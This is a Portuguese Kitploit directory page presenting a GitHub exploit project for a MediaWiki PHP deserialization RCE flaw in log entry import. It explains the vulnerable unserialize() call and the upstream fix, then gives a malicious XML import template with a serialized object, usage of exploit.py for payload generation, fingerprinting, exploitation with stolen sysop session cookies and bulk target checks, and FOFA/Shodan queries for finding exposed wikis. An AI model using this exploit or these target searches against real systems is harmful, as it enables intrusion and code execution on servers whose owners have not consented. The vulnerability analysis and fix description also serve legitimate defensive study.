Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-58025 — CVE-2026-58025 — RCE por Desserialização no MediaWiki via Importação de Entrada de Log. LogEntryBase::extractParams() faz unserialize() de log_params controlados pelo usuário. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-58025
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — RCE por Desserialização no MediaWiki via Importação de Entrada de Log. LogEntryBase::extractParams() faz unserialize() de log_params controlados pelo usuário. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

Ver Repositório
4146há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-58025 — RCE por desserialização de PHP no MediaWiki via importação de entrada de log

WikiImporter → LogEntryBase::extractParams() → unserialize() de log_params controlados pelo usuário → RCE


Visão Geral

CVE-2026-58025 é uma vulnerabilidade crítica (CVSS 9.8) de desserialização de dados não confiáveis no MediaWiki (Wikimedia Foundation). O método LogEntryBase::extractParams() chamava em parâmetros de entrada de log controlados pelo usuário sem restringir quais classes PHP poderiam ser instanciadas. Um atacante com o direito ou (padrão: grupo ) poderia criar um arquivo de importação XML malicioso contendo objetos PHP serializados em campos , acionando instanciação arbitrária de objetos e potencial execução remota de código via cadeias de gadgets.

unserialize()
importupload
import
sysop
<params>

Versões Afetadas

Branch de VersãoVulnerávelCorrigido
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

Requisitos: O direito import ou importupload (padrão: grupo sysop). O atacante deve conseguir enviar ou importar um arquivo XML para o Special:Import do MediaWiki.


Mecanismo da Vulnerabilidade

Causa Raiz

LogEntryBase::extractParams() em includes/Logging/LogEntryBase.php chamava unserialize() diretamente no blob log_params sem qualquer restrição de classe:

root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

Este método é chamado a partir de vários locais:

ArquivoLinhaContexto
includes/Logging/DatabaseLogEntry.php187getParameters() — lendo entradas de log do banco de dados
includes/RecentChanges/RecentChange.php781parseParams() — analisando mudanças recentes
includes/Import/WikiRevision.php638importLogItem() — importando entradas de log de XML
maintenance/purgeChangedFiles.php182Análise de log de script de manutenção
tests/phpunit/maintenance/DumpAsserter.php541Auxiliar de teste

Vetor de Ataque

O vetor de ataque principal é a importação XML via Special:Import:

  1. O atacante (com o direito import/importupload) cria um arquivo de exportação XML malicioso do MediaWiki
  2. O XML contém um elemento <logitem> com um campo <params> contendo um payload PHP serializado
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() armazena a entrada de log
  4. Quando a entrada de log é posteriormente lida (via DatabaseLogEntry::getParameters(), RecentChange::parseParams(), ou exibição de log), LogEntryBase::extractParams() chama unserialize() no blob controlado pelo atacante
  5. Se existir uma cadeia de gadgets adequada (via extensões/bibliotecas de fornecedores instaladas), isso leva a RCE

Fluxo de Ataque

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

Formato do Payload Serializado

O campo <params> na importação XML aceita strings serializadas PHP padrão. Uma entrada segura (benigna):

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

Uma entrada maliciosa contendo um objeto serializado:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

Quando unserialize() é chamado sem a restrição allowed_classes, o objeto é totalmente instanciado. Com uma cadeia de gadgets disponível (por exemplo, de bibliotecas instaladas via Composer), isso se torna RCE.


A Correção

Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c Autor: Bartosz Dziewoński Data: 2026-06-29

A correção implementa múltiplas camadas de defesa:

1. unserialize() restrito com allowed_classes

root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. Nova verificação containsUnsafeParams()

Detecta instâncias de __PHP_Incomplete_Class (objetos que foram bloqueados por allowed_classes):

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. Portão de importação — WikiImporter::processLogItem()

Nova verificação de permissão logentryimport (não concedida a ninguém por padrão):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — rejeição de parâmetros inseguros

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — exibição segura de entradas maliciosas existentes

A nova classe UnsafeLogFormatter substitui o formatador normal para entradas que contêm objetos bloqueados, exibindo uma mensagem de espaço reservado em vez de tentar formatar os dados perigosos.

6. Correção relacionada: CVE-2026-58037

A mesma pesquisa (T422244) também identificou que o tipo de parâmetro raw do LogFormatter permitia saída HTML bruta a partir de parâmetros de log controlados pelo usuário. Isso foi corrigido em um commit complementar, alterando Message::rawParam() para Message::plaintextParam().


PoC

O exploit.py incluso gera um arquivo de importação XML malicioso do MediaWiki contendo objetos PHP serializados nos parâmetros de entrada de log. Ele também pode identificar instâncias do MediaWiki e tentar a importação via API.

root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

Uso

root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

Referências

  • NVD CVE-2026-58025
  • Phabricator T422244
  • Commit de Correção (branch 1.43) — SECURITY: Safely unserialize log entry parameters
  • Correção relacionada: CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • Notas de lançamento do MediaWiki 1.43.9
  • OSV CVE-2026-58025
  • CWE-502: Desserialização de Dados Não Confiáveis
  • CWE-94: Controle Incorreto da Geração de Código

Aviso Legal

Este exploit é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Não use contra sistemas sem permissão explícita do proprietário.

Baixar ferramenta